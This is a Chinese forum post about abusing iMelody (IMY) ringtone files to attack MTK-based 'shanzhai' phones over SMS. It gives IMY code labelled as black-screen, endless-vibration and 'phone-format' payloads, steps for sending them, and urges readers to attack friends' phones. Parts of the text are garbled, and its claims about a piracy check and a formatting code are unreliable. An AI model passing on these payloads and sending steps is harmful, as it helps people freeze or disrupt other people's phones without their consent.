為了大家更好測(cè)試提供原文件，就給震動(dòng)一個(gè)，別的都是音樂:

http://www.namipan.com/d/9c17927 ... b34666511b9701e0000

操作法一.把剛下載的imy 放到手機(jī)里的Audio文件夾,切忌手機(jī)里的Audio文件夾，然后點(diǎn)擊寫短信(不是彩信)(可以用自己的手機(jī)編輯鈴聲然后保存看是不是這個(gè)文件家.我自己測(cè)試了是這個(gè)文件夾)。

操作法二.直接找到你發(fā)在手機(jī)里的IMY文件.發(fā)送文件,以短信或者增強(qiáng)短信形式.這樣文件就加進(jìn)去了.手機(jī)短信里會(huì)多出來一個(gè)音樂符,你寫短信時(shí)要注意.引著朋友往下看就成.把文件放在后邊，其它放中間也成。發(fā)給他們?cè)囋嚢?還想明白點(diǎn)的朋友往下看


一、IMY本來是音樂

    建立一個(gè)記事本按一下格式，寫入代碼：
    BEGIN:IMELODY
    VERSION:1.2
    FORMAT:CLASS1.0
    NAME:Bomb （你鈴聲的名字，方便你記憶，不過在手機(jī)里顯示的名字還是.imy前的文件名）
    BEAT:120
    STYLE:S0
    VOLUME:V15
    MELODYledonvibeonbackon*7e4ledoffvibeoffbackoffr1@5)        (ledonvibeonbackon*7e4ledoffvibeoffbackoffr2@15)    (ledonvibeonbackon*7e4ledoffvibeoff backoffr3@15)(ledonvibeonbackon*7e4ledoffvibeoffbackoffr5@25)vibeon(ledonbackon*7e5ledoffbackoff@0) （音符代碼）
    END:IMELODY
    最后保存為*.imy用紅外線傳入你的68或其他機(jī)器保存，就可以享受到帶震動(dòng)及閃屏的鈴聲了
    大家可以對(duì)這個(gè)一起好好研究研究～

二、IMY被惡搞

另個(gè)網(wǎng)友如是說：

黑屏震動(dòng)死機(jī)音符 誰有imy源代碼
今天朋友給我發(fā)了兩條短信。內(nèi)容如下：
1.警告：這條短信不要往下翻了。
    再翻就會(huì)黑屏一個(gè)小時(shí)。
        （無奈本人好奇心太重，翻了一下，結(jié)果就黑屏了。按按鍵還一閃一閃的。結(jié)果只能扣電池。郁悶。。。）

   2.相信又能讓手機(jī)失靈的短信嗎？這條就能讓你夢(mèng)想成真。
    不要往下翻了。
    再翻你就得扣電池了。
    再此警告��！

    （可惜這次我又看了，結(jié)果手機(jī)狂振不止。沒辦法，扣電池吧。更加郁悶。。。 ）
     真邪門了，短信能讓手機(jī)這樣��！
     上網(wǎng)查了一下，原因找到了：本人的手機(jī)是山寨機(jī)�。�！

　　為什么這條短消息會(huì)讓山寨手機(jī)黑屏呢？這和手機(jī)的MTK平臺(tái)有關(guān)。
     大部分“山寨機(jī)”的操作系統(tǒng)使用的是MTK平臺(tái)。這個(gè)MTK平臺(tái)，因?yàn)閮r(jià)格低廉，讓不少國(guó)內(nèi)生產(chǎn)MP3音樂播放器的廠家，一夜之間，都能生產(chǎn)手機(jī)。
　　這條短信的格式是：(空行)注意(空行)你的手機(jī)將黑屏一小時(shí)(空行)你信不信……(空行到底)。在這些空行里，隱含了一個(gè)音樂提示符。正是這個(gè)音樂提示符，讓手機(jī)黑屏的。這個(gè)音樂提示符，是可以測(cè)試盜版和正版的一個(gè)組件——和電腦上微軟XP操作系統(tǒng)一樣，不是正版的軟件，就會(huì)黑屏。

      在MTK解決方案的手機(jī)中對(duì)于聲音文件,都帶有一個(gè)震動(dòng)接口,也就是把震動(dòng)命令放進(jìn)鈴聲,使用該鈴聲的時(shí)候,手機(jī)會(huì)自動(dòng)震動(dòng)了!同震動(dòng)的原理,MTK解決方案中,可能除了震動(dòng)接口,還有黑屏的命令接口(當(dāng)然,很可能僅僅是漏洞),在聲音文件中加入該命令就可以使手機(jī)黑屏了!

三、進(jìn)一步擴(kuò)大戰(zhàn)果

手機(jī)格式化代碼�。。。。。。。。�！

BEGBEGIN:IMELODY
VERSION:1.2
FORMAT:CLASS1.0
COMPOSER:MIK(23)Fomat
BEAT:180
MELODY:backoffbackofffbackoffbackoffbackoffbackoffbackoffbackoffbackoff
("+<melody>+"@9999999999999999999999999)"


手機(jī)黑屏代碼

BEGIN:IMELODY
BEAT:1200
MELODYledoffbackoffvibeoffr5ledoffbackoffvibeoffr5@600)
END:IMELODY

手機(jī)狂震代碼

BEGIN:IMELODY
VERSION:1.2
FORMAT:CLASS1.0
BEAT:100
MELODYledoffledonbackoffbackonvibeon@0)
END:IMELODY

向你們的“山寨朋友”發(fā)起猛攻吧

大家慎用..后果自負(fù)

imy 放到手機(jī)里的Audio文件夾,切忌手機(jī)里的Audio文件夾

然后點(diǎn)擊寫短信(不是彩信)(可以用自己的手機(jī)編輯鈴聲然后保存看是不是這個(gè)文件家.我自己測(cè)試了是這個(gè)文件夾)

選項(xiàng):

以上各個(gè)代碼未曾在短信中直接寫入源代碼發(fā)送試驗(yàn)，格式化代碼請(qǐng)勿輕易嘗試！如果要在短信中直接寫入格式化代碼，請(qǐng)?jiān)趪L試其他代碼后，確保無危險(xiǎn)后才試驗(yàn)。

插入對(duì)象我的鈴聲選取剛才那個(gè)IMY文件發(fā)送

原理IMY是索愛最早支持的一種春代碼的單音節(jié)鈴聲,可以用代碼調(diào)用手機(jī)的解碼芯片發(fā)出一些聲音甚至一些核心指令

四、明白一點(diǎn)(基本標(biāo)準(zhǔn))

imy的基本格式：
BEGIN:IMELOPYDEBT://執(zhí)行參數(shù)（數(shù)字）
MELODY://燈光及震動(dòng)控制腳本
END:IMELODY
--2008-11-12
BEGIN:IMELODY
VERSION:1.2

五、我們要再搞清楚一點(diǎn)：

IMY詳解:

（iMelody Ringtone Format）：這是被專門設(shè)計(jì)用于EMS中的鈴聲，與2000年由愛立信提出，并與2001年6月得到3GPP認(rèn)可成為標(biāo)準(zhǔn)，i-Melody鈴聲基于文本的方式標(biāo)志音調(diào)，它的標(biāo)準(zhǔn)化工作由IrDA負(fù)責(zé)。支持EMS的愛立信以及現(xiàn)在的索尼愛立信手機(jī)型號(hào)多采用i-Melody鈴聲格式。
IMY是一種手機(jī)的鈴聲格式
它是2000 年由愛立信提出的一種音頻...IMY 是中國(guó)移動(dòng)規(guī)定的通用彩信文件格式之一,但是支持這一文件格式自播放和鈴聲的手機(jī)并不多。
IMY是屬于單音格式（非和弦）直接可以在手機(jī)上編寫音符
再談?wù)凪TK為什么會(huì)出現(xiàn)這個(gè)漏洞,早在MTK6210 年代 是沒有 此漏洞的,這也是有些老款的山寨機(jī),對(duì)此類短信免疫的原因 !
到了 MTK6220年代 還記得當(dāng)時(shí)山寨吹出的新功能 閃信 就是發(fā)一條短信伴隨著屏幕和鍵盤閃,可以閃出很多 莫爾斯電碼 當(dāng)時(shí)看看挺個(gè)性后來可能廠商不宣傳,加上大家覺得此功能雞肋,也不再提它了,而"強(qiáng)大"的MTK卻保留了次功能,以致漏洞的產(chǎn)生!

另外發(fā)幾個(gè)黑屏短信和震動(dòng)短信的代碼以及解密請(qǐng)勿濫用,否則后果自負(fù)))
例:
BEGIN:IMELODY.
VERSION:1.2
FORMAT:CLASS1.0
BEAT:100
MELODYledoffledonbackoffbackonvibeon@0)
END:IMELODY

根據(jù)IMY格式語法,這條短信就是個(gè)閃光震動(dòng)代碼:
(ledoff ledon , backoff backon , vibeon , @0)
[開關(guān)LED(閃動(dòng)),開關(guān)背景燈(閃動(dòng)),開震動(dòng)],重復(fù)無

學(xué)習(xí)了呵呵